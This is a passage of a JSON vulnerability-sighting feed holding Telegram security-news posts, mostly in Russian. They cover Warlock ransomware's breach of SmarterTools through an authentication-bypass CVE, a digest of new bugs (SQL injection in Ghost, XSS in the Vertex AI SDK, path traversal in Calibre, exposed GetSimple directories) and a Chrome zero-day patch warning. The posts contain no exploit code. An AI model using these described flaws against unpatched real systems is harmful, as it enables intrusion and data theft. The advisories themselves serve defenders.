\u043c\u0435\u0442\u043e\u0434\u044b \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430 \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c\u0438 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 DLL-\u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 DLL-\u0444\u0430\u0439\u043b\u043e\u0432, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f AK47 \u0438 BYOVD \u0434\u043b\u044f \u0443\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0432 Sophos, GOLD SALEM \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u043d\u0435 \u0441\u0432\u0435\u0442\u0438\u043b\u0430\u0441\u044c \u0434\u043e \u0438\u044e\u043d\u044f 2025 \u0433\u043e\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 RAMP \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u044f \u0433\u0440\u0443\u043f\u043f\u044b \u0441 \u043f\u0440\u043e\u0441\u044c\u0431\u043e\u0439 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (Veeam, ESXi, SharePoint) \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 EDR \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0442\u044c \u0441 IAB.\n\n\u041f\u043e\u043c\u0438\u043c\u043e Warlock, \u0433\u0440\u0443\u043f\u043f\u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0448\u0442\u0430\u043c\u043c\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a LockBit Black (LockBit 3.0) \u0438 X2ANYLOCK (AK47). \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430 \u0438\u0445 DLS \u0443\u043a\u0430\u0437\u0430\u043d\u043e \u043e\u043a\u043e\u043b\u043e 80 \u0436\u0435\u0440\u0442\u0432.\n\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440 SmarterTools\u00a0\u0414\u0435\u0440\u0435\u043a \u041a\u0435\u0440\u0442\u0438\u0441 \u043e\u0442\u043c\u0435\u0442\u0438\u043b, \u0447\u0442\u043e \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430 \u0441\u0442\u0430\u043b\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0441\u0435\u0442\u044c \u0438 \u0437\u0430\u0442\u0435\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b.\n\n\u0417\u0430\u0449\u0438\u0442\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f SentinelOne \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u043e\u0432\u0440\u0435\u043c\u044f \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0433\u0440\u043e\u0437\u0443 \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c ransomware \u043f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u043f\u043e\u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u044f\u00a0\u0446\u0435\u043d\u0442\u0440 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Portal \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\u00a0\u0432\u044b\u0448\u0435\u043b \u0438\u0437 \u0441\u0442\u0440\u043e\u044f, \u043d\u043e, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f, \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0441\u0435\u0442\u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u043b\u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\nSmarterTools \u043d\u0435 \u0443\u0442\u043e\u0447\u043d\u0438\u043b\u0430, \u043a\u0430\u043a\u0443\u044e \u0438\u043c\u0435\u043d\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u0445\u0430\u043a\u0435\u0440\u044b, \u043d\u043e \u043d\u0430\u0447\u0430\u043b\u043e \u0433\u043e\u0434\u0430 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432\u044b\u0434\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u043f\u0440\u043e\u0441\u0442\u044b\u043c: \u0441\u0440\u0430\u0437\u0443 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 SmarterMail \u0431\u044b\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 CISA KEV \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0438\u0437 \u044d\u0442\u0438\u0445 \u0442\u0440\u0435\u0445\u00a0\u0442\u043e\u043b\u044c\u043a\u043e CVE-2026-24423 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439\u00bb. \u041f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u043c\u0435\u043d\u043d\u043e \u0435\u0435 Warlock \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a\u0438.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430. \u0411\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 WatchTowr Labs \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0435\u0451 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b SmarterTools. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u044b\u0448\u043b\u0438 15 \u044f\u043d\u0432\u0430\u0440\u044f, \u0437\u0430 \u0434\u0432\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u0434\u043e \u0432\u0437\u043b\u043e\u043c\u0430 SmarterTools.\n\n\u0422\u0430\u043a \u0438\u043b\u0438 \u0438\u043d\u0430\u0447\u0435 \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2026-02-09T10:52:49.000000Z"}, {"uuid": "b9f14844-366c-47bd-b7ba-e4b5fad744fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2472", "type": "seen", "source": "https://t.me/poxek/5938", "content": "\u041b\u043e\u0432\u0438\u0442\u0435 \u0432\u043a\u0443\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438\n#Calibre #Google #Ghost #GetSimple #ApacheVelocity #CVE\n\n\u25aa\ufe0f Calibre (CVE-2026-26065, CVSS 9.3) \u2014 path traversal \u0432 PDB-\u0440\u0438\u0434\u0435\u0440\u0430\u0445 Calibre, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043f\u0443\u0442\u0435\u0439 \u043f\u0440\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e PDB-\u0444\u0430\u0439\u043b\u043e\u0432. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0431\u0435\u0437 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f. \u0418\u043c\u043f\u0430\u043a\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043f\u0440\u0430\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Calibre \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445, DoS \u0438, \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, \u043a RCE.\n\n\u25aa\ufe0f Google Cloud Vertex AI SDK for Python (CVE-2026-2472, CVSS 8.6) \u2014 stored XSS \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u0432\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 GenAI/\u043e\u0446\u0435\u043d\u043e\u043a \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043f\u0430\u043a\u0435\u0442\u0430 google-cloud-aiplatform. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 JavaScript \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 JSON-\u0434\u0430\u0442\u0430\u0441\u0435\u0442\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u0432 Jupyter/Colab. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JS \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0435\u0434\u0435\u0442 \u043a \u043a\u0440\u0430\u0436\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0443 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438\u043b\u0438 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u25aa\ufe0f Ghost (CVE-2026-26980, CVSS 9.4) \u2014 SQLi \u0432 headless CMS Ghost, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0432 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c Content API. \u0418\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438/\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 slug \u0432 query string \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0431\u0430\u0437\u044b (arbitrary read) \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438\u043b\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\n\n\u25aa\ufe0fGetSimple CMS (CVE-2026-27161, CVSS 8.7) \u2014 \u0437\u0430\u0449\u0438\u0442\u0430 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 (/data/, /backups/ \u0438 \u0434\u0440.) \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 .htaccess. \u041f\u0440\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u043c \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c AllowOverride \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Apache \u0437\u0430\u0449\u0438\u0442\u0430 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f authorization.xml \u0441 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\n\n\u25aa\ufe0f WSO2 Identity Server (CVE-2025-12107, CVSS 7.2) \u2014 template injection \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c Velocity template engine (Apache Velocity). \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u041f\u0440\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-02-24T06:48:10.000000Z"}, {"uuid": "fd53d23d-1ff1-4d53-8723-19f227ffb0b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/captainsmok3r_official/294", "content": "\u203c\ufe0f CVE-2026-2441 \u203c\ufe0f\nUrgent Chrome Zero-Day Warning (CVE-2026-2441) is a high-severity (CVSS 8.8) zero-day vulnerability in Google Chrome (and Chromium-based browsers like Edge, Brave, etc.).\nType: Use-after-free bug in the CSS engine\nImpact: A remote attacker can execute arbitrary code inside the browser sandbox just by tricking you into visiting a specially crafted malicious webpage (no download or click needed beyond opening the page).\nStatus: Google confirms it is actively exploited in the wild right now (first Chrome zero-day exploited in 2026).\nAffected versions: Chrome < 145.0.7632.75 (Windows/macOS) or < 144.0.7559.75 (Linux)\n\ud83d\udc49\ud83d\udc49 Update Chrome immediately to version 145.0.7632.75 / .76 (Win/Mac) or 144.0.7559.75 (Linux) or newer.", "creation_timestamp": "2026-02-16T22:58:49.000000Z"}, {"uuid": "6f0fc844-f4f3-4dcb-a2b1-769951c76cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/ctinow/245799", "content": "New Chrome Zero-Day (CVE-2026-2441) Under Active Attack \u2014 Patch Released\nhttps://ift.tt/IeGtXDH", "creation_timestamp": "2026-02-16T07:19:39.000000Z"}, {"uuid": "2a496d4a-1b44-49ad-b3c6-34fdb4961b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24881", "type": "seen", "source": "https://t.me/true_secator/7979", "content": "OpenAI \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0430 \u043a \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044e Codex Security\u00a0- \u0430\u0433\u0435\u043d\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u043f\u043e\u0438\u0441\u043a, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438.\n\n\u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 ChatGPT Pro, Enterprise, Business \u0438 Edu \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 Codex \u0441 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430.\n\nCodex Security \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e Aardvark, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 OpenAI \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043f\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044e \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445.\n\n\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 30 \u0434\u043d\u0435\u0439 \u0432 \u0445\u043e\u0434\u0435 \u0431\u0435\u0442\u0430-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f Codex Security \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u043e\u043b\u0435\u0435 1,2 \u043c\u043b\u043d. \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u0432 \u0432\u043e \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445, \u0432\u044b\u044f\u0432\u0438\u0432 792 